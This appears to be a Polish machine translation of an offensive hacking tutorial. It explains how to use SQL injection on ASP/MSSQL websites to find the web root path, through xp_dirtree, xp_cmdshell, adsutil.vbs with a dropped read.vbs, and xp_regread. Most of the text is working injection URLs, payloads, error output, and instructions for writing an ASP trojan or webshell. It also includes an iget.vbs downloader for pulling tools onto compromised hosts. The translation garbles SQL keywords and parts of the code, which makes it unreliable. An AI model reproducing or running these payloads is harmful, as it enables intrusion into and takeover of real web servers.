Wstrzyknięcie SQL, aby uzyskać pełną ścieżkę strony internetowej
Jeśli strona ma tylko 80 portów, poniższe metody okażą się bardziej przydatne
Prawie wszystkie metody stosowane w nim nie są tym, co odkryłem, a artykuł zawsze zawiera osobiste doświadczenia i umiejętności podczas wstrzykiwania
Istnieją 4 metody (obecnie znane)
Pierwsza metoda:
To metoda wprowadzona <怪异的SQL注入>w < >
Korzystając z xp_dirtree sqlservera, najpierw porozmawiajmy o metodzie, a następnie o jej zaletach i wadach (niektóre dodatki powstały na podstawie oryginalnego tekstu)
Twórz tabele
Oświadczenie:http://www.xxxxx.com/down/list.asp?id=1;create Tabela Dirs(Paths Varchar(1000))--
Back: Normalna informacja! To oznacza, że tabela została pomyślnie utworzona! Kontynuuj!
(Ten, który zbudowano, jest trochę większy niż oryginał, bo natknąłem się na plik o długiej nazwie i usunąłem identyfikator, bo jest bezużyteczny)
Oświadczenie:http://www.xxxxx.com/down/list.asp?id=1;insert Dyrektor Dirs master.dbo.xp_dirtree 'C:\' --
Zwroty: Informacje normalne. Oznacza to, że wszystkie katalogi zapisane na dysku C są pomyślne! Super! Następnym krokiem jest zdobycie licznika! Złamiesz ją i wyjdź. (Wygląda na to, że jest tylko jeden sposób, by to zrobić)
Oświadczenie:http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Błąd składniowy występuje przy konwersji wartości varchara '@Inetpub' na kolumnę z typem danych int.
Potem nazwy katalogów w tabeli są kolejno wyrzucane!
Oświadczenie:http:// http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z
Dyrekcje tam, gdzie ścieżki nie w( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Błąd składni występował podczas konwersji wartości varchara 'testu' na kolumnę z typem danych int.
Potem nazwy katalogów w tabeli są kolejno wyrzucane!
Dobrze, kontynuujmy
Oświadczenie:http:// http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z
Kierunki, gdzie ścieżki nie są w ('@Inetpub','test'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Błąd składni występuje przy konwersji wartości varchara "haha" do kolumny z typem danych int.
Potem nazwy katalogów w tabeli są kolejno wyrzucane!
Okej, powinieneś wiedzieć, jak to zrobić, haha, po prostu dodaj nazwę tabeli, którą dostaniesz, do tego nawiasu, wpisz tyle zdjęć, ile chcesz,
Mały trik:
Czasem zauważysz to, gdy dane wejściowe są podobne
http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z dirs)-
Zamiast wyświetlać błąd, strona internetowa jest wyświetlana normalnie
Zawroty głowy, nie denerwuj się
Spójrz na 0<> (wybierz top 1 ścieżek z dirs), aby pokazać, że zwrot to liczba,
Haha, przetestuj i zobacz, ile kosztuje
100>(wybierz najlepsze 1 ścieżki z Dirs)
Powrót do normy
Haha, możesz szybko zgadnąć przy tej metodzie więcej lub mniej
Dobrze, kontynuujmy
Na przykład, gdy się pojawia
59=(wybierz najlepsze 1 ścieżki z dyrek)
Powrót do normy,
OK, nazywam się 59
Wejdź następująco
http:// http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z
kierunki, gdzie ścieżki nie wchodzą w ('59'))--
Pamiętaj, żeby dodać cudzysłów
Następująca metoda jest taka sama jak w oryginale
Jest też problem
Czasami, gdy wpisuję 59 powyższą metodą, zauważam, że następny folder nadal to 59
Co się dzieje?
Hehe, nie wiem, czy zauważyłeś, że 059 i 59 to to samo?
Dlatego haha,
http:// http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z
Kierunki, gdzie ścieżki nie w( '059'))--
Zauważyłem, że wyświetlana jest następna nazwa folderu, okej
Analiza zalet i wad:
Zaletą jest to, że wszyscy użytkownicy sqlserver mogą z niego korzystać, ponieważ xp_dirtree stosuje uprawnienia PUBLICZNE,
Minusem jest to, że wyświetla nazwy wszystkich folderów w katalogu, a układ wydaje się być uporządkowany – krótko mówiąc, trudno jest znaleźć wybrany folder w tysiącach lub dziesiątkach tysięcy folderów.
I wiesz, że posiadanie tego folderu nie gwarantuje znalezienia się w katalogu głównym, co jest naprawdę bolesne, często zależy od szczęścia i wytrzymałości.
Życzę powodzenia
Metoda 2:
Wykorzystaj xp_cmdshell
Haha, wszyscy muszą to znać, powiem krótko
Twórz tabele
Oświadczenie:http://www.xxxxx.com/down/list.asp?id=1;create Tabela Dirs(Paths Varchar(1000))--
Back: Normalna informacja! To oznacza, że tabela została pomyślnie utworzona! Kontynuuj!
(Ten, który powstał, jest trochę większy niż oryginał, bo natknąłem się na plik o długiej nazwie i usunąłem ten identyfikator, bo jest bezużyteczny.)
Oświadczenie:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Zwroty: Informacje normalne. Oznacza to, że wszystkie katalogi zapisane na dysku C są pomyślne! dywizja c:\ /B/D jest tu używana, haha, jeśli nie wiesz, co robi /B/D, spróbuj zobaczyć, co robi
Oświadczenie:http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Błąd składniowy występuje przy konwersji wartości varchara '@Inetpub' na kolumnę z typem danych int.
Potem nazwy katalogów w tabeli są kolejno wyrzucane!
Oświadczenie:http:// http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz top 1 ścieżek z
Dyrekcje tam, gdzie ścieżki nie w( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Błąd składni występował podczas konwersji wartości varchara 'testu' na kolumnę z typem danych int.
Potem nazwy katalogów w tabeli są kolejno wyrzucane!
Metoda jest taka sama jak powyżej, więc nie będę o niej mówić
Czasami możemy też coś zrobić z następującymi dwoma rozszerzeniami
1) Możemy wykorzystać xp_availablemedia, aby zebrać wszystkie bieżące dyski i zapisać je w tabeli kierunków:
5 ; wstaw dyrektory wykonawcze master.dbo.xp_availablemedia; --
Listę napędów i powiązane informacje możemy uzyskać, zapytując zawartość temp
(2) Możemy użyć xp_subdirs do uzyskania listy podkatalogów i przechowywania ich w tabeli dirs:
5 ; Wprowadź do dirs exec master.dbo.xp_subdirs 'c:\' ; --
Analiza zalet i wad:
Oczywiście nie xp_dirtree to sytuacji, gdy wszystkie katalogi są połączone razem, wyświetlany będzie tylko katalog pierwszego poziomu, który jest znacznie łatwiejszy do znalezienia.
Wady są również oczywiste, tylko SA ma to uprawnienia, a możliwe jest też, że administrator usunął to rozszerzenie (w końcu jest zbyt potężne).
Metoda 3:
To podejście jest dobre
Poniżej znajduje się oryginalny tekst
Pomyślałem o użyciu programu adsutil.vbs, który uruchomiłem
a'; Mistrz wykonawczy... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Czy to nie jest długie? Dzięki niemu możemy założyć pierwszą wirtualną stronę internetową w IIS (oczywiście wliczając faktyczny katalog, w którym się znajduje)
Import do a.txt
Domyślną lokalizacją a.txt jest oczywiście c:\winnt\system32, co w rzeczywistości nie stanowi problemu, ale gdy napotykamy administratora ustawiającego adsutil.vbs
Usuń lub umieść to gdzie indziej
Nic nie możemy na to poradzić (nie da się napisać takiego z poleceniem echo)
Krok 2: Użyj polecenia echo, aby zapisać następujący kod w c:\, co nie jest dużo
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Ustaw WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Środowisko("proces"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
rób, gdy nie fil.atendofstream
nr=fil.readline
jeśli left(nr,4)="Ścieżka" to
PA=MID(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Wyjście do
koniec jeśli
pętla
Set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------cięcie tutaj-------------------------------------
Krok 3: Oczywiście trzeba wykonać read.vbs, aby móc przeczytać treść w aa.txt i znaleźć rzeczywistą ścieżkę strony internetowej
Następnie zapisz plik o nazwie dd.asp w katalogu głównym strony internetowej i będziesz wiedzieć, czy możesz go pomyślnie spróbować
wykonaćhttp://x.x.x.x/dd.asp
Zwroty: \xxx
Haha, to dobry sposób,
Jednak oryginalny tekst wydaje się mieć pewne problemy
Tak jest
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Błąd występuje, gdy zgłoszone są dwa zdania
Wymyśliliśmy więc znak plus, który pełni tę samą funkcję co &
I o czym pisać dd.asp? Napisz do ta, haha
Haha, zmieniłem to
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Ustaw WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Środowisko("proces"("windir"
Set fil =fso1.opentextfile(spa "\system32\aa.txt"
rób, gdy nie fil.atendofstream
nr=fil.readline
jeśli left(nr,4)="Ścieżka" to
PA=MID(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Wyjście do
koniec jeśli
pętla
Set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------tnij tutaj--------------------------------------
Ponieważ liczba czasu jest konwertowana na spację podczas przesyłania w przeglądarce, powinieneś również ustawić
Staje się %2B, okej, powinno być dobrze, tak jak
-------------------read.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Ustaw WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Środowisko("proces"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
rób, gdy nie fil.atendofstream
nr=fil.readline
jeśli left(nr,4)="Ścieżka" to
PA=MID(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Wyjście do
koniec jeśli
pętla
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------tnij tutaj--------------------------------------
Jeśli okaże się, że 1 tam nie ma, możemy stać się 2, 3, 4...........
a'; Mistrz wykonawczy... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Ale ta metoda może być stosowana tylko w Windows 2000, ponieważ adresy nowo utworzonych stron internetowych poniżej 2003 roku nie są uporządkowane zgodnie z 1234, wydaje się być generowana losowo, a porównałem kilka z nich poniżej 2003 roku
nie stwierdzono żadnej regularności.
Analiza zalet i wad:
Podobnie xp_cmdshell Nie każdy użytkownik może z niego korzystać! Kolejnym problemem jest to, że plik adsutil niekoniecznie istnieje lub nie jest na tej ścieżce, choć możesz go użyć, jeśli chcesz
Echo pisze jedną (haha, starą i starą), a kolejne pytanie brzmi: co jeśli na hostze jest wiele stron? Spotkałem hosta z dziewięcioma stronami, a tylko ósma jest przydatna
Tak, słabe, trudno komukolwiek mieć cierpliwość, by tak długo wytrwać, może już dawno się zawaliło. Poza tym nie można jej używać w 2003 roku!
Ale szczerze mówiąc, ta metoda jest rzeczywiście dobrą
Metoda 4:
Ta metoda polega na odczytaniu ścieżki z rejestru przez xp_regread itd
Poniżej zaleca się uzyskanie ścieżki strony internetowej (czytaj rejestr za pomocą procedur przechowywanych):
Wykorzystaj wbudowaną procedurę przechowywaną xp_regread (odczyt klucza rejestru, uprawnienia publiczne):
Oświadczenie: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar (20) Mistrz Wykonawczy... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , wartości=@test OUTPUT insert into paths
(path) values(@test)
Domyślna ścieżka IIS w rejestrze HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Użyj pola burst, aby odczytać wartość bazy danych:
Oświadczenie: http://www.xxx.com/list.asp?classid=1 i 0<>(wybierz top 1 ścieżki z newtable)--return: Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] konwertuje wartość varchar E:\www,,201 na typ danych int
felieton.
Oznacza to, że katalog stron internetowych znajduje się w E:\www, a następnie możesz użyć FSO, aby zapisać bezpośrednio do trojana ASP
A co jeśli nie możesz znaleźć katalogu webowego? Musisz zgadywać, czy strona używa domyślnej nazwy WEB, czy domeny jako WEB.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "domyślna strona" -v "e","e:\"'
Utwórz wirtualny katalog E w domyślnej stronie internetowej, wskazując na E: w sekcji dysk.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'
Dobrze jest dodać atrybuty przeglądania do wirtualnego katalogu, np. Otwórz dla siebie wirtualną usługę. Myśląc o tych ścieżkach katalogów stron internetowych, prawie pęka mi głowa. Teraz otworzyłem oczy. To jest WEBSHELL, który korzysta z MS
SQL to koniec naszej pracy, a następne zadanie powinno należeć do Ciebie.
Haha, metoda jest dobra, przeczytaj formularz rejestracyjny, wygodne i szybkie!
Analiza zalet i wad:
Zaletą jest oczywiście to, że jest wygodny i szybki. Minusem jest to, że widzisz tylko ścieżkę domyślnej lokalizacji IIS, a jeśli już nie jest domyślną, to nic nie możesz zrobić (śledziłem ją za pomocą regsnape), jeśli jest poniżej 2003 roku
To znaczy, nawet domyślna ścieżka strony nie jest wyświetlana! Cierpi
A tak przy okazji, istnieją też inne sposoby na kontynuowanie intruzji niż tylko szukanie ścieżki na stronie, na przykład przesłanie trojana bounce przez tftp lub napisanie pliku iget.vbs, żeby pobrać wybranego dongdonga
Kod iget.vbs wygląda następująco:
---------start----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Ustaw sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
----------koniec-----------
Dodatek do tego artykułu:
Ostatnio zauważyłem, że moje rozumienie instrukcji Przewodniczącego Mao nie było wystarczająco dogłębne i chciałbym dodać coś tutaj
W rzeczywistości powyższe metody wcale nie muszą być porównywane xp_dirtree są najlepsze, o ile ta jedna metoda wystarcza
To dlatego, że byłem zbyt ..............
Dziś znów odkryję sekret xp_dirtree
Dobrze, przejdźmy do dyrektora wykonawczego: xp_dirtree'd:/test'
Załóżmy, że mamy dwa foldery w testie, test1 i test2, oraz test3 w testie1
Wyniki pokazują
Głębia podkatalogu
Test1 1
test3 2
Test2 1
Haha, zauważyłem, że nie ma żadnej głębi w serii katalogu
Dobrze, wiem, co robić
http://www.xxxxx.com/down/list.asp?id=1;create Table Dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Dirs Exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1 oraz 0<>(wybierz górne 1 ścieżki z dirów, gdzie id=1)-
Dopóki dodano id=1, jest to katalog pierwszego poziomu.
|